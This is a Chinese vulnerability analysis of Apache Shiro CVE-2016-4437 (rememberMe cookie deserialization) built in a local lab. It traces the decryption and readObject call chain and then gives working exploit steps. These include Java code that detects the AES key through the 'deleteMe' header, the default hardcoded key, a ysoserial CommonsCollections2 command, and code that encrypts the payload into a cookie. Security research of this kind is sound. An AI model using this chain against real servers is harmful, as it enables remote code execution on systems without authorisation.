CVE-2016-4437 Shiro反序列化分析

环境搭建

https://github.com/apache/shiro/archive/refs/tags/shiro-root-1.2.4.zip

相关目录结构

image.png

本次搭建环境需要的包为:samples->web

image.png

相关依赖

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>servlet-api</artifactId>
            <!--            <scope>provided</scope>-->
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>net.sourceforge.htmlunit</groupId>
            <artifactId>htmlunit</artifactId>
            <version>2.6</version>
            <!--            <scope>test</scope>-->
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.mortbay.jetty</groupId>
            <artifactId>jsp-2.1-jetty</artifactId>
            <version>${jetty.version}</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>jcl-over-slf4j</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--  这里需要将jstl设置为1.2 -->
            <version>1.2</version>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>
</project>

完成后配置tomcat启动即可

image.png

image.png

勾选RememberMe后登陆成功返回头会存在Set-Cookie: rememberMe…

image.png

image.png

简单了解内部结构

可以看到每个Subject主体都会通过SecurityManager进行管理

image.png

  • Subject:主体,可以看到主体可以是任何可以与应用交互的“用户”
  • SecurityManager:相当于SpringMVC中的DispatcherServlet或者Struts2中的FilterDispatcher;是Shiro的心脏;所有具体的交互都通过SecurityManager进行控制;它管理着所有Subject、且负责进行认证和授权、及会话、缓存的管理。
  • Authenticator:认证器,负责主体认证的,这是一个扩展点,如果用户觉得Shiro默认的不好,可以自定义实现;其需要认证策略(Authentication Strategy),即什么情况下算用户认证通过了
  • Authrizer:授权器,或者访问控制器,用来决定主体是否有权限进行相应的操作;即控制着用户能访问应用中的哪些功能
  • Realm:可以有1个或多个Realm,可以认为是安全实体数据源,即用于获取安全实体的;可以是JDBC实现,也可以是LDAP实现,或者内存实现等等;由用户提供;注意:Shiro不知道你的用户/权限存储在哪及以何种格式存储;所以我们一般在应用中都需要实现自己的Realm
  • SessionManager:如果写过Servlet就应该知道Session的概念,Session呢需要有人去管理它的生命周期,这个组件就是SessionManager;而Shiro并不仅仅可以用在Web环境,也可以用在如普通的JavaSE环境、EJB等环境;所有呢,Shiro就抽象了一个自己的Session来管理主体与应用之间交互的数据
  • SessionDAO:DAO大家都用过,数据访问对象,用于会话的CRUD,比如我们想把Session保存到数据库,那么可以实现自己的SessionDAO,通过如JDBC写到数据库;比如想把Session放到Memcached中,可以实现自己的Memcached SessionDAO;另外SessionDAO中可以使用Cache进行缓存,以提高性能
  • CacheManager:缓存控制器,来管理如用户、角色、权限等的缓存的;因为这些数据基本上很少去改变,放到缓存中后可以提高访问的性能
  • Cryptography:密码模块,Shiro提高了一些常见的加密组件用于如密码加密/解密。

利用链分析

全局搜索shiro相关依赖发现多处readobject反序列化特征

image.png

跟踪链发现org/apache/shiro/io/DefaultSerializer.java这里的反序列化数据可控且容易触发

image.png

分析调用链发现,程序会先通过getRememberedSerializedIdentity函数获取cookie中rememberMe参数内容并进行base64解码

image.png

image.png

image.png

image.png

获取到base64解码后的内容后会通过decrypt函数对数据进行解密来获取序列化数据

image.png

从代码可以看出,程序会先调用getDecryptionCipherKey获取一个加密密钥

image.png

通过跟踪setDecryptionCipherKey发现EncryptionCipherKeyDecryptionCipherKey是相同的

org/apache/shiro/mgt/AbstractRememberMeManager.java->setCipherKey()

image.png

继续跟调用链发现加解密密钥是被写在程序中

image.png

调试获取程序使用AES CBC方式进行加解密

org/apache/shiro/crypto/JcaCipherService.java

image.png

最后对解密后的数据进行反序列化导致命令执行

org/apache/shiro/io/DefaultSerializer.java

image.png

到这里漏洞的利用链已经很明确了:获取Cookie中的rememberMe参数内容,base64解密后进行AES解密,最后将解密出来的数据进行反序列化后触发命令执行

爆破Shiro加密密钥

通过上面的分析可知,若要成功触发反序列化,需要正确的加密解密密钥进行对恶意序列化数据进行加密。利用Shiro反序列化失败返回头存在deleteMe的特征可对加解密密钥进行爆破。

可对PrincipalCollection接口的具体实现类进行序列化来探测正确的加解密密钥

org/apache/shiro/mgt/AbstractRememberMeManager.java

image.png

查看该接口的具体实现类

image.png

获取SimplePrincipalCollection的序列化数据并base64(base64的原因为方便后面对数据进行加密)

        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(simplePrincipalCollection);

        System.out.println(Base64.encode(byteArrayOutputStream.toByteArray()));

image.png

对上面生成的序列化数据进行加密

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        System.out.println(aes.encrypt(Base64.decode("rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="),key));

image.png

返回响应头里没有rememberMe=deleteMe证明加密密钥是正确的

image.png

加密密钥错误情况如下(存在rememberMe=deleteMe特征)

image.png

image.png

命令执行

利用ysoserial生成cc2链打开计算器的payload,并将内容保存到payload.bin

java -jar ysoserial.jar CommonsCollections2 "open /System/Applications/Calculator.app" > payload.bin

image.png

image.png

相关代码

   public static void main(String[] args) throws Exception {  
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService aes = new AesCipherService();
        String path = "payload.bin";
        ByteSource ciphertext = aes.encrypt(getBytes(path), key);
        System.out.println(ciphertext.toString());  
    }

    public static byte[] getBytes(String path) throws Exception{
        InputStream inputStream = new FileInputStream(path);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        int n = 0;
        while ((n=inputStream.read())!=-1){
            byteArrayOutputStream.write(n);
        }
        byte[] bytes = byteArrayOutputStream.toByteArray();
        return bytes;

    }

文章参考文献

Shiro安全框架(配置ini文件方式)

Shiro Web Support

-->